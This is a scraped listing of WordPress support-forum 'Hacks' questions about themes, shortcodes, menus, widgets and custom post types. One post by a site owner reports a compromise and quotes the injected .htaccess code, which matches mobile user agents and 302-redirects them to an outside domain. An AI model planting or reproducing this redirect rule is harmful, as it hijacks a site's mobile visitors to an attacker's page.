Quantcast
Channel: WordPress › Support » Forum: Hacks - Recent Topics
Viewing all 8245 articles
Browse latest View live

Grumpster7976 on "remove search bar replace with language buttons"

0
0

i have a blog http://www.wheelsontheroad.ca - simple catch 2.7.4
I want to remove the search bar.....

In the menu bar i want to add language buttons. If anyone is interested in helping me I can send you pics of what I want to do. I do not know html, css etc etc but I can cut n past, lol


cirrus9 on "Need help calling a field"

0
0

I am currently using a plugin called Web Directory 2.0

I am also using a the Nice PayPal Button Lite plugin for payment. The short code is [nicepaypallite name="TITLE" amount="PRICE"]. I am trying to pull the title and the price values from the Web Directory 2.0.

This is the basic loop. It checks the category, and if it is in one of the tour package categories(using the same plugin for different section), it adds the paypal button. This keeps it from adding to the Listings pages(other section). It pulls the title, but does not currently have a price.

//Code Start

<?php

$terms = get_the_terms( $post->ID , 'w2dc-category' );
foreach ( $terms as $term ) {
$term_link = get_term_link( $term, 'w2dc-category' );

$Category = $term->name;
$VIPtours = 'VIP Tours';
$GuidedTours = 'Guided Tours';
$Tours = 'Self Guided Tours';

if ($Category == $VIPtours) echo do_shortcode('[nicepaypallite name="' . get_the_title() . ' " amount="12.50"]');
else if($Category == $GuidedTours) echo do_shortcode('[nicepaypallite name="' . get_the_title() . ' " amount="12.50"]');
else if($Category == $Tours) echo do_shortcode('[nicepaypallite name="' . get_the_title() . ' " amount="12.50"]');
}

?>

//Code End

This will pull the general string of the price

//Code Start

<?php echo $listing->getContentField(9)->renderOutput($listing); ?>

//Code End

9 is the number of the content field. The above basically renders this below, which is from the price_output.tpl.php

//Code Start

<div class="w2dc_field w2dc_field_output_block w2dc_field_output_block_<? echo $content_field->id; ?>">

<?php if ($content_field->icon_image): ?>

<img class="w2dc_field_icon" src="<?php echo W2DC_FIELDS_ICONS_URL; ?><?php echo $content_field->icon_image; ?>" />

<?php endif; ?>

<?php if (!$content_field->is_hide_name): ?>

<span class="w2dc_field_name"><?php echo $content_field->name?>:</span>

<?php endif; ?>

<span class="w2dc_field_content">

<?php echo $content_field->currency_symbol; ?> <?php echo $formatted_price; ?>

</span>

</div>
//Code End

What I need is basically the formatted price, but I can't find a way to target that specific value. Any help would be greatly appreciated!

Pete on "How can I get the commenters' email address and display it"

0
0

Id there a way I can get the commenter's email address and display it with a snippet of code next to the comment?

I'm not using this in a bad way. I've made my theme so that all comments are hidden to non admins. Only admins can see the comments. Other users can see the comment form but not their comment... I'm using this as a contact form and I want the admin to be able to reply by email to the commenter at the front end.

Pete on "REGEX Regular Expression"

0
0

I'm trying to figure out how i can use one or more regular expressions to format a random $ number with 6-7 digits..
e.g.

$606782 -> $606 782
$300000 -> $300 000
$1237339 -> $1 237 339

djPaulWall on "Redirect to hompage after subscriber logs in"

0
0

I added a loginout tag in my secondary nav and it takes the user to a login screen which is great, but I want it to immediately take the user to the homepage instead of their dashboard. Is there a way to adjust this?

Kevin on "Syncing Navigation Links to Cyle with Slider"

0
0

Hi,

I am currently using Revolution Slider for my slider, so I am not sure if this is the right forum. Basically what I am trying to do is to write a code that would sync up my nav links in my header with the slider. What I mean is that just like like bulleted navigation in the slider, my client wants the links at the top to connect to and change font color as the slides cycle through. So link1 would change when slide 1 appears, link2 would change when slide 2 appears, etc.

So far what I have tried to do is simply include the styles of the bullets to the nav menu and hope the jQuery would automatically apply the script to those elements. After adding class via jQuery as well as the menu editor, here are what the two sections look like:

<!-- This is the Nav menu... notice that ul#menu-landing-page has the class "tp-bullets" appended to it.  This is to match the container that the script for Revolution Slider is targeting. Also notice that each li has the class "bullet" included. -->
<ul id="menu-landing-menu" class="x-nav sf-menu sf-js-enabled tp-bullets">
<li id="menu-item-31" class="bullet first menu-item menu-item-type-custom menu-item-object-custom menu-item-31"><a href="#">Build Your Network</a></li>
<li id="menu-item-29" class="bullet menu-item menu-item-type-custom menu-item-object-custom menu-item-29"><a href="#">Find New Players</a></li>
<li id="menu-item-32" class="bullet menu-item menu-item-type-custom menu-item-object-custom menu-item-32"><a href="#">Arrange Matches</a></li>
<li id="menu-item-33" class="download bullet last menu-item menu-item-type-custom menu-item-object-custom menu-item-33"><a href="#">Download</a></li>
<li id="menu-item-443" class="icon-twitter menu-item menu-item-type-custom menu-item-object-custom menu-item-443"><a href="http://https://twitter.com/ZOGOtennis">Twitter</a></li>
<li id="menu-item-445" class="icon-instagram menu-item menu-item-type-custom menu-item-object-custom menu-item-445"><a href="http://instagram.com">Instagram</a></li>
<li id="menu-item-444" class="icon-facebook menu-item menu-item-type-custom menu-item-object-custom menu-item-444"><a href="http://www.facebook.com/zogotennis">Facebook</a></li>
</ul>

<!-- The slider's bullets -->
<div class="tp-bullets simplebullets round hidebullets" style="bottom: 20px; left: 50%; margin-left: -80px;">
<div class="bullet first selected"></div>
<div class="bullet"></div>
<div class="bullet"></div>
<div class="bullet"></div>
<div class="bullet last"></div><div class="tpclear"></div>
</div>

If you visit the site, you can see what I mean and the relevant js code... http://zogotennis.com/home . There are probably other methods I can use here, so if you have any ideas, please by all means let me know. BTW, the client wants the bullets as well as arrows, and the slider will not let me include any other type of navigation directly.

Travis on "Custom Post Type inside another Custom Post Type"

0
0

Hello,

I'm looking into creating a custom plugin and was wondering if it is possible to have a post type inside another post type... An example of how this would work would be a slideshow:

You click on the slideshow CPT from the left-side menu in WordPress admin and it shows a list of slideshows you have. When you click on a slideshow it opens a new list of slides inside the slideshow... Meteor slides does this same thing. Basically, a CPT inside a CPT...

Anyone know how this is done?

andrejcremoznik on "Conditionally show custom widget in frontend sidebar"

0
0

1. I've created a custom widget.
2. This widget is applied to a sidebar area that is active on multiple templates e.g. the archives and singles.
3. I would like to display the widget only if is_single() == true.

There are multiple ways to go about doing that. I could register a new sidebar which would only display on single pages.

What I'd rather do, however, is somehow check the is_single() condition inside the custom widget class. Checking inside the widget() method does hide the content but the is_active_sidebar() still returns true, because it's not aware of the hidden widget's content.

What is the most appropriate way to handle this?

Thanks


saldtch on "Unable to add attribute to an element using setAttribute() or attr()"

0
0

I added the following

(function addclick(){
getElementsByClassName("testclass").setAttribute("onclick", "myFN()");
})()

to the custom.js of my theme but I just can't update the target element.
I tested the function by replacing with an alert and it worked so it shouldn't be anything to do with it not be invoked. I also tried the jQuery attr() but also with no luck.

Any ideas? or I am just missing something?
Thanks!

ratputin on "Change category excerpt style after certain date."

0
0

I have a category page that currently displays a thumbnail, title excerpt and read more link for each post that has been entered under it. I was wondering if I could change the way that delivery is presented after a certain period of time. for example:

Posts less than 2 weeks old show:
Thumbnail, Title, Excerpt, Read More

Posts older than 2 weeks show:
Title (either linked or with Read More at the end)

Both need to be on the same page.

Any ideas?
TIA
~Rat

symposiarch on "Wordpress pages widget hacks"

0
0

I would like to alter the code of the wordpress pages widget in order to put some spacing between each page that is listed on the sidebar. I tried adding padding-bottom; 10px, margin-bottom; 10px, margin; 10px, etc. but nothing seems to accomplish what I set out to do.

I would like a little bit of spacing between each of the listed pages in order to make it easier to differentiate between the pages listed. As of now there is no spacing between each listed page. See --> http://www.symposiarch.org, on the homepage sidebar.

Thank you in advance for any help you have to offer, it is greatly appreciated.

cs1h on "Update Media Title"

0
0

Hi,

I am trying to write a piece of code that update the title and description of an image using PHP.

Currently I have some code that retrieves the image for a specific post and checks if the title is set, if it is not then I would like to add a title.

However I can not the relevant function or example of how this can be done.

If anyone can point me in the right direction I would be grateful.

Thank you in advance,
cs1h

qozmiq@gmail.com on "Add tags to FAQ's"

0
0

I have a KB theme (KnowHow) which is super basic, but for some reason it wants its FAQ's entered individually, and it creates pseudo articles that won't allow me to add tag's. In fact there is little I can do in the article other than ask the question and answer it. I have a plugin that allows me to add tags to pages, but I need to add it to these FAQ's articles. This shouldn't be too difficult? There should be a template for the FAQ's that I can add a boilerplate tag code?

olotu on "Google Analytics Dashboard bug"

0
0

My website went down when I updated my google analytics dashboard plugin to the latest version 2.1.1. When you load my website I got the following message asking me or the visitor to log in from the admin panel:

I couldn't log in via the wordpress admin as I also got the same message. So I had to go via the hosting company's control panel file manager option to delete the plugin before my website returned to normal.

Did anyone out there experience the same problem?

coverfield on "Publish a only single article"

0
0

Hello everyone, I wanted to know if there is a remote possibility through some filter or another, to cause to be published, such as a publisher or subscriber, again with the help of specific plugins such Members, etc.., only one item, and not to publish another, giving you the chance to edit it and put it back in revision, but only one, that is, one without the possibility of using the Add New and insert another.

Specifically, as for example with the Members plugin, I have given the possibility to edit their own posts to a subscriber, I wish not to be given the opportunity to write another, but to modify and re-revision only one, namely that wrote, or cause to be published a single article.

I hope I explained myself and thank you in advance.


agiuliano8 on "Special Class for Menu Item"

0
0

Hi, I apologize in advance because I assume this has been asked and answered at least once before, however I can't seem to find a thread that gets the job done for me.

I'm using the built in functionality in Appearance -> Menus for a top level nav bar. I'd like to add a special class to one of the list items so I can style it differently to make it stand out. Is there something I can do in functions.php to accomplish this?

As I'm writing this, I realized that I could probably use a psuedo element selector like ::last-child or nth-child for my purposes, but let's assume there's another reason I need a class on a specific list item in the nav bar, how would I go about that?

Jhon.soco on "Attach wordpress, redirect site from device mobile"

0
0

Good Evening,

I had an attack and redirect to my site
but only do it when entering from a mobile device

me this by modifying the. htaccess and header.php
and and cleaned manually but still it changed again.

and called my carrier and they tell me I take a review and do not detect anything.
tells me that it may be the version of my wordpress or some plugin.
I have installed the version 3.9

this is the code garbage ...

.htaccess
....

RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^1207.*|^3gso.*|^4thp.*|^501i.*|^502i.*|^503i.*|^504i.*|^505i.*|^506i.*|.*Fennec.*|^6310.*|^6590.*|^770s.*|^802s.*|.*a100.*|.*a510.*|.*a511.*|^abac.*|^acer.*|^acoo.*|^acs.*|^aiko.*|^airn.*|.*alacatel.*|^alav.*|^alca.*|^alco.*|^amoi.*|^Amoi.*|.*android.*|^anex.*|^anny.*|^anyw.*|^aptu.*|^arch.*|^argo.*|^aste.*|^asus.*|^ASUS.*|^attw.*|^au.*|^audi.*|^Audiovox.*|^AU-MIC.*|^aur.*|^aus.*|^avan.*|^beck.*|^bell.*|^benq.*|^BenQ.*|^bilb.*|^bird.*|^Bird.*|^blac.*|.*BlackBerry.*|^blaz.*|.*Blazer.*|.*boxee.*|.*BRAVIA.*|^brew.*|^brvw.*|^bumb.*|^bw.*|^c55.*|^capi.*|^ccwa.*|^cdm.*|^CDM.*|.*CE-HTML.*|^cell.*|^chtm.*|^cldc.*|^cmd.*|^comp.*|^cond.*|.*CorePlayer.*|^craw.*|^dait.*|^dall.*|^dang.*|^dbte.*|^dc.*|.*dell\ streak.*|^devi.*|^dica.*|.*DLNA.*|.*DLNADOC.*|^dmob.*|^doco.*|^DoCoMo.*|^dopo.*|^dopod.*|^ds.*|^ds12.*|^el49.*|^elai.*|^eml2.*|^emul.*|^eric.*|.*Ericsson.*|^erk0.*|^esl8.*|^ez40.*|^ez60.*|^ez70.*|^ezos.*|^ezwa.*|^ezze.*|^fake.*|^fetc.*|^fly.*|.*FlyCast.*|.*foobar2000.*|^g1.*|^g560.*|^gene.*|^gf.*|^go.*|.*GomPlayer.*|^good.*|.*GoogleTV.*|^grad.*|^grun.*|^haie.*|^Haier.*|.*hbbtv.*|.*HbbTV.*|^hcit.*|^hd.*|^hei.*|^hipt.*|^hita.*|^HP.*|.*htc.*|^htca.*|^htcg.*|^htcp.*|^htcs.*|^htct.*|^http.*|^huaw.*|.*Huawei.*|^hutc.*|^i230.*|^iac.*|^ibro.*|^idea.*|.*iemobile.*|^ig01.*|^ikom.*|^im1k.*|^i-mobile.*|^inno.*|.*ipad.*|^ipaq.*|.*iPAQ.*|.*iphone.*|.*iPod.*|^iris.*|.*iTunes.*|^jata.*|^java.*|^jbro.*|^jemu.*|^jigs.*|^kddi.*|^KDDI.*|^keji.*|^kgt.*|.*kindle.*|^klon.*|^KONKA.*|^kpt.*|^kwc.*|^KWC.*|^kyoc.*|^kyok.*|.*Large\ Screen.*|^leno.*|^Lenovo.*|^lexi.*|^lg.*|^lg50.*|^lg54.*|^lge.*|^libw.*|^lynx.*|^m3ga.*|^m50.*|^mate.*|^maui.*|^maxo.*|^mc01.*|^mc21.*|^mcca.*|^medi.*|^merc.*|^meri.*|^midp.*|.*midp.*|.*mini.*|^mio8.*|^mioa.*|.*Miro.*|^mits.*|^mmef.*|^mo01.*|^mo02.*|^mobi.*|.*mobile.*|^mode.*|^modo.*|^mot.*|^motv.*|^mozz.*|.*MPlayer.*|.*MSN.*|^mt50.*|^mtp1.*|^mtv.*|^mwbp.*|^mywa.*|^n100.*|^n101.*|^n102.*|^n202.*|^n203.*|^n300.*|^n302.*|^n500.*|^n502.*|^n505.*|^n700.*|^n701.*|^n710.*|^nec.*|^NEC-.*|^nem.*|^neon.*|^netf.*|.*NETTV.*|^newg.*|^NEWGEN.*|^newt.*|.*Nexus\ 10.*|.*Nexus\ 7.*|.*Nintendo.*|^nok6.*|^noki.*|.*Nokia.*|.*Novarra.*|^nzph.*|^o2.*|.*o2.*|.*O2.*|^o2im.*|.*Opera.Mobi.*|^opti.*|^opwv.*|^oran.*|^owg1.*|^p800.*|.*Palm.*|^pana.*|^Panasonic.*|^pand.*|^pant.*|^PANTECH.*|^pdxg.*|^PG.*|^pg13.*|^phil.*|^Philips.*|^pire.*|^play.*|.*PLAYSTATION\ 3.*|.*Plex.*|^pluc.*|^pock.*|.*pocket.*|^port.*|^portalmmm.*|^pose.*|^PPC.*|^prox.*|.*PS3.*|^psio.*|.*psp.*|^qc07.*|^qc12.*|^qc21.*|^qc32.*|^qc60.*|^qci.*|^qtek.*|^Qtek.*|.*QuickTime.*|^qwap.*|^r380.*|^r600.*|^raks.*|^rim9.*|^rove.*|^rozo.*|^s55.*|^sage.*|^Sagem.*|^SAGEM.*|^sama.*|^samm.*|^sams.*|.*SAMSUNG.*|^sany.*|.*Sanyo.*|^sava.*|^sc01.*|^sch.*|^SCH.*|.*SCH-.*|.*sch-i800.*|^scoo.*|^scp.*|^sdk.*|^se47.*|^sec.*|^SEC.*|^sec0.*|^sec1.*|^semc.*|.*SEMC-Browser.*|^send.*|^Sendo.*|^seri.*|^sgh.*|^SGH.*|.*SGH-.*|.*sgh-t849.*|^shar.*|^Sharp.*|.*shw-m180s.*|^sie.*|^SIE.*|^siem.*|^SIEMENS.*|.*silk.*|^sl45.*|^slid.*|^smal.*|^smar.*|.*Smarthub.*|.*smartphone.*|.*SmartTV.*|.*SMART-TV.*|^smb3.*|^smit.*|^smt5.*|^soft.*|^SoftBank.*|^sony.*|^SonyEricsson|^SonyEricsson.*|.*SonyEricsson.*|^sp01.*|^sph.*|^SPH.*|^spv.*|^sy01.*|^symb.*|.*symbian.*|.*SymbianOS.*|^t218.*|^t250.*|^t600.*|^t610.*|^t618.*|.*tablet.*|^tagt.*|^talk.*|^tcl.*|^tdg.*|.*teleca.*|^teli.*|^telm.*|^tim.*|^topl.*|^tosh.*|.*Toshiba.*|.*treo.*|^ts70.*|^tsm.*|^tsm3.*|^tsm5.*|.*up\.browser.*|^upg1.*|.*up\.link.*|.*UPnP.*|^upsi.*|^UTS.*|^utst.*|^v400.*|^v750.*|^veri.*|^Vertu.*|^virg.*|^vite.*|^vk40.*|^vk50.*|^vk52.*|^vk53.*|.*VLC\ media\ player.*|^vm40.*|^voda.*|.*vodafone.*|^vulc.*|^vx52.*|^vx53.*|^vx60.*|^vx61.*|^vx70.*|^vx80.*|^vx81.*|^vx83.*|^vx85.*|^vx98.*|^w3c.*|.*WAFA.*|^wap.*|.*wap.*|^wapa.*|^wapi.*|^wapj.*|^wapm.*|^wapp.*|^wapr.*|^waps.*|^wapt.*|^wapu.*|^wapv.*|^wapy.*|^webc.*|.*webOS.*|.*WebTV.*|^whit.*|.*BOLT.*|^wig.*|.*wii.*|^winc.*|.*windows\ ce.*|.*Windows.CE.*|.*Windows-Media-Player.*|.*WindowsPhone.*|.*Windows\ Phone.*|^winw.*|^wmlb.*|^wonu.*|^x700.*|.*XBMC.*|.*xbox.*|^xda.*|.*Xda.*|^xda2.*|^xdag.*|^yas.*|^your.*|^zeto.*|^ZTE.* [NC,OR]
RewriteCond %{HTTP_ACCEPT} text\/vnd\.wap\.wml|application\/vnd\.wap\.xhtml\+xml [NC,OR]
RewriteCond %{HTTP:HTTP_X_WAP_PROFILE} .+ [OR]
RewriteCond %{HTTP:HTTP_PROFILE} .+ [OR]
RewriteCond %{HTTP:X-OperaMini-Features} .+ [OR]
RewriteCond %{HTTP:UA-pixels} .+
RewriteRule ^(.*)$ http://lily666.com/2.html[L,R=302]

imehedidip on "Create a PHP file on theme directory using a WordPress Plugin"

0
0

Hi

I am creating a plugin to create WordPress Template Files for a theme. I am not sure how to create a PHP file using the plugin. I mean, is it possible to create a PHP file using a code in the plugin?

If so, can you kindly provide the code for it?

Thanks in advance!

mattregister on "get_terms offset working?"

0
0

I am trying to display a list of termsfrom my taxonomy "organization" in an unordered list but display them in two columns. This is what I have for my first column:

function print_organizations1() {
$countterms = wp_count_terms( 'organization' );
if($countterms&1) {
$firstcolumn = ( ( ( $countterms - 1) / 2 ) + 1);
} else {
$firstcolumn = ( $countterms  / 2 ); }
$secondcolumn = ( $countterms - $firstcolumn );
$terms = get_terms( 'organization', array('number' => $firstcolumn ));
print '<div class="vcex-bullets vcex-bullets-gray"><ul>';
foreach ( $terms as $term ) {
     // The $term is an object, so we don't need to specify the $taxonomy.
    $term_link = get_term_link( $term );
    // If there was an error, continue to the next term.
    if ( is_wp_error( $term_link ) ) {
        continue;
    }
    // We successfully got a link. Print it out.
    print '<li><a href="' . esc_url( $term_link ) . '">' . $term->name . '</a></li>';
}
print '</ul></div>';
}
add_shortcode('print-organizations1', 'print_organizations1');

That works perfectly. It figures out how many is in the first half of the list and uses that number of terms to display. When I try to make the second column is where I am getting lost. I try to offset the list by the number of terms in the first column.

function print_organizations2() {
$countterms = wp_count_terms( 'organization' );
if($countterms&1) {
$firstcolumn = ( ( ( $countterms - 1) / 2 ) + 1);
} else {
$firstcolumn = ( $countterms  / 2 ); }
$secondcolumn = ( $countterms - $firstcolumn );
$terms = get_terms( 'organization', array('offset' => $firstcolumn ));
print '<div class="vcex-bullets vcex-bullets-gray"><ul>';
foreach ( $terms as $term ) {
     // The $term is an object, so we don't need to specify the $taxonomy.
    $term_link = get_term_link( $term );
    // If there was an error, continue to the next term.
    if ( is_wp_error( $term_link ) ) {
        continue;
    }
    // We successfully got a link. Print it out.
    print '<li><a href="' . esc_url( $term_link ) . '">' . $term->name . '</a></li>';
}
print '</ul></div>';
}
add_shortcode('print-organizations2', 'print_organizations2');

This outputs the entire list. Even when I replace $firstcolumn with a hard number it still displays the whole list. What am I missing? any thoughts?

chomachomachoma on "Adding Hierarchy Capability to Custom Post Type Removes Thumbnails From Admin"

0
0

I have setup in my functions.php a custom post type of 'Portfolio'. I have just added hierarchy capability to it, so I can assign child posts and such.

This works fine, where I am able to assign child/parents, however, by adding the line...

'hierarchical' => true,

...to $args results in the list of posts to be ordered asc by post_title and the thumbnails disappear. Removing this line, or setting its value to false, reverts everything back to the way I would prefer, where it is ordered by publish_date and the thumbnails are present.

Any ideas how can keep hierarchical functionality and have my columns display as I wish? Here is my code...

/*
 * Custom Post Type - Portfolio
*/

if ( ! class_exists( 'Portfolio_Post_Type' ) ) :

class Portfolio_Post_Type {

	var $version = 0.5;

	function __construct() {

		register_activation_hook( __FILE__, array( &$this, 'plugin_activation' ) );

		load_plugin_textdomain( 'portfolioposttype', false, dirname( plugin_basename( __FILE__ ) ) . '/languages/' );

		add_action( 'init', array( &$this, 'portfolio_init' ) );

		add_theme_support( 'post-thumbnails', array( 'portfolio' ) );

		add_filter( 'manage_edit-portfolio_columns', array( &$this, 'add_thumbnail_column'), 10, 1 );
		add_action( 'manage_posts_custom_column', array( &$this, 'display_thumbnail' ), 10, 1 );

		add_action( 'restrict_manage_posts', array( &$this, 'add_taxonomy_filters' ) );

		add_action( 'right_now_content_table_end', array( &$this, 'add_portfolio_counts' ) );

		add_action( 'admin_head', array( &$this, 'portfolio_icon' ) );
	}

	function plugin_activation() {
		$this->portfolio_init();
		flush_rewrite_rules();
	}

	function portfolio_init() {

		$labels = array(
			'name' => __( 'Portfolio', 'portfolioposttype' ),
			'singular_name' => __( 'Portfolio Item', 'portfolioposttype' ),
			'add_new' => __( 'Add New Item', 'portfolioposttype' ),
			'add_new_item' => __( 'Add New Portfolio Item', 'portfolioposttype' ),
			'edit_item' => __( 'Edit Portfolio Item', 'portfolioposttype' ),
			'new_item' => __( 'Add New Portfolio Item', 'portfolioposttype' ),
			'view_item' => __( 'View Item', 'portfolioposttype' ),
			'search_items' => __( 'Search Portfolio', 'portfolioposttype' ),
			'not_found' => __( 'No portfolio items found', 'portfolioposttype' ),
			'not_found_in_trash' => __( 'No portfolio items found in trash', 'portfolioposttype' )
		);

		$args = array(
			'labels' => $labels,
			'parent_item_colon' => 'PP',
	    	'public' => true,
			'supports' => array( 'title', 'editor', 'excerpt', 'thumbnail', 'comments', 'author', 'custom-fields', 'revisions', 'page-attributes' ),
			'capability_type' => 'page',
			'rewrite' => array("slug" => "portfolio"),
			'menu_position' => 5,
			'hierarchical' => true,
			'has_archive' => true
		);

		$args = apply_filters('portfolioposttype_args', $args);

		register_post_type( 'portfolio', $args );

		$taxonomy_portfolio_tag_labels = array(
			'name' => _x( 'Portfolio Tags', 'portfolioposttype' ),
			'singular_name' => _x( 'Portfolio Tag', 'portfolioposttype' ),
			'search_items' => _x( 'Search Portfolio Tags', 'portfolioposttype' ),
			'popular_items' => _x( 'Popular Portfolio Tags', 'portfolioposttype' ),
			'all_items' => _x( 'All Portfolio Tags', 'portfolioposttype' ),
			'parent_item' => _x( 'Parent Portfolio Tag', 'portfolioposttype' ),
			'parent_item_colon' => _x( 'Parent Portfolio Tag:', 'portfolioposttype' ),
			'edit_item' => _x( 'Edit Portfolio Tag', 'portfolioposttype' ),
			'update_item' => _x( 'Update Portfolio Tag', 'portfolioposttype' ),
			'add_new_item' => _x( 'Add New Portfolio Tag', 'portfolioposttype' ),
			'new_item_name' => _x( 'New Portfolio Tag Name', 'portfolioposttype' ),
			'separate_items_with_commas' => _x( 'Separate portfolio tags with commas', 'portfolioposttype' ),
			'add_or_remove_items' => _x( 'Add or remove portfolio tags', 'portfolioposttype' ),
			'choose_from_most_used' => _x( 'Choose from the most used portfolio tags', 'portfolioposttype' ),
			'menu_name' => _x( 'Portfolio Tags', 'portfolioposttype' )
		);

		$taxonomy_portfolio_tag_args = array(
			'labels' => $taxonomy_portfolio_tag_labels,
			'public' => true,
			'show_in_nav_menus' => true,
			'show_ui' => true,
			'show_tagcloud' => true,
			'hierarchical' => false,
			'rewrite' => array( 'slug' => 'portfolio_tag' ),
			'show_admin_column' => true,
			'query_var' => true
		);

		register_taxonomy( 'portfolio_tag', array( 'portfolio' ), $taxonomy_portfolio_tag_args );

	    $taxonomy_portfolio_category_labels = array(
			'name' => _x( 'Portfolio Categories', 'portfolioposttype' ),
			'singular_name' => _x( 'Portfolio Category', 'portfolioposttype' ),
			'search_items' => _x( 'Search Portfolio Categories', 'portfolioposttype' ),
			'popular_items' => _x( 'Popular Portfolio Categories', 'portfolioposttype' ),
			'all_items' => _x( 'All Portfolio Categories', 'portfolioposttype' ),
			'parent_item' => _x( 'Parent Portfolio Category', 'portfolioposttype' ),
			'parent_item_colon' => _x( 'Parent Portfolio Category:', 'portfolioposttype' ),
			'edit_item' => _x( 'Edit Portfolio Category', 'portfolioposttype' ),
			'update_item' => _x( 'Update Portfolio Category', 'portfolioposttype' ),
			'add_new_item' => _x( 'Add New Portfolio Category', 'portfolioposttype' ),
			'new_item_name' => _x( 'New Portfolio Category Name', 'portfolioposttype' ),
			'separate_items_with_commas' => _x( 'Separate portfolio categories with commas', 'portfolioposttype' ),
			'add_or_remove_items' => _x( 'Add or remove portfolio categories', 'portfolioposttype' ),
			'choose_from_most_used' => _x( 'Choose from the most used portfolio categories', 'portfolioposttype' ),
			'menu_name' => _x( 'Portfolio Categories', 'portfolioposttype' ),
	    );

	    $taxonomy_portfolio_category_args = array(
			'labels' => $taxonomy_portfolio_category_labels,
			'public' => true,
			'show_in_nav_menus' => true,
			'show_ui' => true,
			'show_admin_column' => true,
			'show_tagcloud' => true,
			'hierarchical' => true,
			'rewrite' => array( 'slug' => 'portfolio_category' ),
			'query_var' => true
	    );

	    register_taxonomy( 'portfolio_category', array( 'portfolio' ), $taxonomy_portfolio_category_args );

	}

	function add_thumbnail_column( $columns ) {

		$column_thumbnail = array( 'thumbnail' => __('Thumbnail','portfolioposttype' ) );
		$columns = array_slice( $columns, 0, 2, true ) + $column_thumbnail + array_slice( $columns, 1, NULL, true );
		return $columns;
	}

	function display_thumbnail( $column ) {
		global $post;
		switch ( $column ) {
			case 'thumbnail':
				echo get_the_post_thumbnail( $post->ID, array(35, 35) );
				break;
		}
	}

	function add_taxonomy_filters() {
		global $typenow;

		$taxonomies = array( 'portfolio_category', 'portfolio_tag' );

		if ( $typenow == 'portfolio' ) {

			foreach ( $taxonomies as $tax_slug ) {
				$current_tax_slug = isset( $_GET[$tax_slug] ) ? $_GET[$tax_slug] : false;
				$tax_obj = get_taxonomy( $tax_slug );
				$tax_name = $tax_obj->labels->name;
				$terms = get_terms($tax_slug);
				if ( count( $terms ) > 0) {
					echo "<select name='$tax_slug' id='$tax_slug' class='postform'>";
					echo "<option value=''>$tax_name</option>";
					foreach ( $terms as $term ) {
						echo '<option value=' . $term->slug, $current_tax_slug == $term->slug ? ' selected="selected"' : '','>' . $term->name .' (' . $term->count .')</option>';
					}
					echo "</select>";
				}
			}
		}
	}

	function add_portfolio_counts() {
	        if ( ! post_type_exists( 'portfolio' ) ) {
	             return;
	        }

	        $num_posts = wp_count_posts( 'portfolio' );
	        $num = number_format_i18n( $num_posts->publish );
	        $text = _n( 'Portfolio Item', 'Portfolio Items', intval($num_posts->publish) );
	        if ( current_user_can( 'edit_posts' ) ) {
	            $num = "<a href='edit.php?post_type=portfolio'>$num</a>";
	            $text = "<a href='edit.php?post_type=portfolio'>$text</a>";
	        }
	        echo '<td class="first b b-portfolio">' . $num . '</td>';
	        echo '<td class="t portfolio">' . $text . '</td>';
	        echo '</tr>';

	        if ($num_posts->pending > 0) {
	            $num = number_format_i18n( $num_posts->pending );
	            $text = _n( 'Portfolio Item Pending', 'Portfolio Items Pending', intval($num_posts->pending) );
	            if ( current_user_can( 'edit_posts' ) ) {
	                $num = "<a href='edit.php?post_status=pending&post_type=portfolio'>$num</a>";
	                $text = "<a href='edit.php?post_status=pending&post_type=portfolio'>$text</a>";
	            }
	            echo '<td class="first b b-portfolio">' . $num . '</td>';
	            echo '<td class="t portfolio">' . $text . '</td>';

	            echo '</tr>';
	        }
	}

	function portfolio_icon() { ?>
	    <style type="text/css" media="screen">
	        #menu-posts-portfolio .wp-menu-image {
	            background: url(<?php echo bloginfo('stylesheet_directory'); ?>/assets/img/portfolio-icon.png) no-repeat 6px 6px !important;
	        }
			#menu-posts-portfolio:hover .wp-menu-image, #menu-posts-portfolio.wp-has-current-submenu .wp-menu-image {
	            background-position:6px -16px !important;
	        }
			#icon-edit.icon32-posts-portfolio {background: url(<?php echo bloginfo('stylesheet_directory'); ?>/assets/img/portfolio-32x32.png) no-repeat;}
	    </style>
	<?php }

}

new Portfolio_Post_Type;

endif;
Viewing all 8245 articles
Browse latest View live




Latest Images